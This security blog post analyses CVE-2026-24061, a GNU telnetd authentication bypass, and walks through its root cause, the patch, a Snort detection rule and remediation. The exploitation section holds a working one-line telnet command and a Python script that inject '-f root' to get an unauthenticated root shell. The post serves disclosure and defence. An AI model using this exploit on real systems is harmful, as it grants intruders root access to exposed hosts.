CVE-2026-24061: Telnet to Root — GNU InetUtils Auth Bypass
Introduction
In January 2026, a vulnerability was publicly disclosed in GNU InetUtils telnetd that sent shockwaves through the security community — not because of its technical complexity, but because of its absurd simplicity. CVE-2026-24061 allows an unauthenticated remote attacker to gain an instant root shell on any system running vulnerable versions of GNU telnetd. No brute forcing. No memory corruption. Just a single flag injected through the Telnet protocol.
The bug sat in the codebase for over a decade, introduced quietly in a 2015 commit, and was being actively exploited in the wild before most organizations even knew it existed. CISA added it to the Known Exploited Vulnerabilities (KEV) catalog shortly after disclosure, and threat groups including rwxrwx were already leveraging it against exposed infrastructure.
This post breaks down the root cause, walks through exploitation, and covers what defenders need to do about it.
Vulnerability Summary
- CVE: CVE-2026-24061
- CVSS: 9.8 (Critical)
- Affected: GNU InetUtils telnetd ≤ 2.7-1
- Fixed In: GNU InetUtils 2.7-2
- Type: Authentication Bypass → Remote Root
- Attack Vector: Network (unauthenticated)
Root Cause Analysis
The flaw lives in how GNU telnetd constructs the command line for /usr/bin/login. When a user connects via Telnet, the daemon uses a template string to build the login invocation. That template includes a %U placeholder, which gets expanded to the value of the USER environment variable.
Here is the vulnerable pattern from telnetd/utility.c:
hljs ccase 'U':
return getenv("USER") ? xstrdup(getenv("USER")) : xstrdup("");
The problem is straightforward: the Telnet protocol allows clients to set environment variables during session negotiation via NEW_ENVIRON suboption packets. This means an attacker directly controls the value of USER.
When the template expands, it produces something like:
/usr/bin/login -h <hostname> <USER_VALUE>
Under normal operation, USER would contain a username — say, admin. But there is zero validation on the value before it gets inserted into the command string.
The Exploit: One Flag, Game Over
The login binary on Linux supports a -f flag that tells it to skip authentication entirely and immediately grant a shell for the specified user. If an attacker sets:
USER = -f root
The resulting login command becomes:
/usr/bin/login -h 192.168.1.100 -f root
That is it. No password prompt. No challenge-response. Just a root shell, handed over on a silver platter.
Exploitation in Practice
The exploit is trivially reproducible. Using a standard Telnet client:
hljs bashUSER='-f root' telnet -a <target_ip>
The -a flag instructs the Telnet client to send the USER environment variable during negotiation. The target's telnetd picks it up, passes it unvalidated into the login command, and the -f root argument does the rest.
For more controlled exploitation, a Python script can simulate the full Telnet negotiation, sending the crafted NEW_ENVIRON suboption directly:
hljs pythonimport socket
import struct
# Telnet protocol constants
IAC = b'\xff'
SB = b'\xfa'
SE = b'\xf0'
WILL = b'\xfb'
DO = b'\xfd'
NEW_ENVIRON = b'\x27'
def exploit(target, port=23):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
# Wait for server negotiation
data = s.recv(1024)
# Send WILL NEW_ENVIRON
s.send(IAC + WILL + NEW_ENVIRON)
data = s.recv(1024)
# Send the poisoned USER variable via suboption
payload = IAC + SB + NEW_ENVIRON
payload += b'\x00' # IS
payload += b'\x00' # VAR type
payload += b'USER'
payload += b'\x01' # VALUE
payload += b'-f root'
payload += IAC + SE
s.send(payload)
# Interact with the shell
import telnetlib
t = telnetlib.Telnet()
t.sock = s
t.interact()
if __name__ == '__main__':
import sys
exploit(sys.argv[1])
Protocol-Level Breakdown
For those interested in the wire-level details, here is what happens during the Telnet negotiation:
- Server → Client: Sends
DO NEW_ENVIRONindicating it supports environment variable exchange - Client → Server: Responds with
WILL NEW_ENVIRON - Server → Client: Sends
SB NEW_ENVIRON SEND VAR "USER"requesting the USER variable - Client → Server: Sends
SB NEW_ENVIRON IS VAR "USER" VALUE "-f root" SE— the poisoned payload - Server: Expands
%Uin login template with-f root - Server: Executes
/usr/bin/login -h <client_ip> -f root - login: The
-fflag skips authentication, spawning a root shell
The entire negotiation completes in milliseconds. From TCP handshake to root shell, there is no delay, no interaction, and no opportunity for rate limiting or account lockout to intervene.
The Patch
The fix introduced in 2.7-2 adds a sanitize() function that rejects any value starting with a dash or containing shell metacharacters:
hljs cstatic char *
sanitize(const char *u)
{
if (u && *u != '-' && !u[strcspn(u, "\t\n !\"#$&'()*;<=>?[\\^`{|}~")])
return u;
else
return "";
}
This function is now applied to all placeholder substitutions, including %U. If the value starts with - or contains any dangerous character, it returns an empty string instead.
Impact and Exposure
The numbers are concerning:
- 200,000+ devices globally running vulnerable telnetd instances
- ~1 million hosts with port 23 open (Shodan/Censys data)
- The vulnerability went undetected for 11 years in the codebase
- Active exploitation observed within days of public disclosure
- Embedded systems, IoT devices, OT/ICS infrastructure disproportionately affected
Telnet is deprecated, yes. But "deprecated" does not mean "gone." Legacy systems in healthcare, manufacturing, and critical infrastructure still rely on it. Many of these systems cannot be easily updated or replaced.
Detection
Look for the following indicators:
- Inbound connections to port 23 containing
-fin theNEW_ENVIRONsuboption - Successful root logins via telnetd without corresponding password authentication in auth logs
- Process trees showing
/usr/bin/login -f rootspawned byin.telnetd
Snort/Suricata signature for detection:
hljs textalert tcp any any -> any 23 (msg:"CVE-2026-24061 Telnet Auth Bypass Attempt"; \ content:"|ff fa 27|"; content:"-f"; within:50; \ reference:cve,2026-24061; sid:2026001; rev:1;)
Log-based detection with grep:
hljs bash# Check auth logs for suspicious telnet logins
grep -E 'login.*-f.*root' /var/log/auth.log
# Check for telnetd spawning login with -f flag
ps auxf | grep '[i]n.telnetd'
Remediation
- Patch immediately — Upgrade GNU InetUtils to 2.7-2 or later
- Kill Telnet — Replace with SSH wherever possible
- Firewall port 23 — Block external access to Telnet services
- Audit — Check for unauthorized root logins in
/var/log/auth.log - Network segmentation — Isolate legacy systems that must run Telnet
Conclusion
CVE-2026-24061 is a reminder that legacy protocols do not age gracefully. A single unsanitized variable, sitting in a codebase for over a decade, turned every vulnerable telnetd instance into a one-shot root shell. The simplicity of the exploit — a single environment variable — makes it accessible to anyone with basic networking knowledge.
If you still have Telnet exposed anywhere in your environment, treat this as the wake-up call it is.
Interested in how this research applies to your organization?
Get in Touch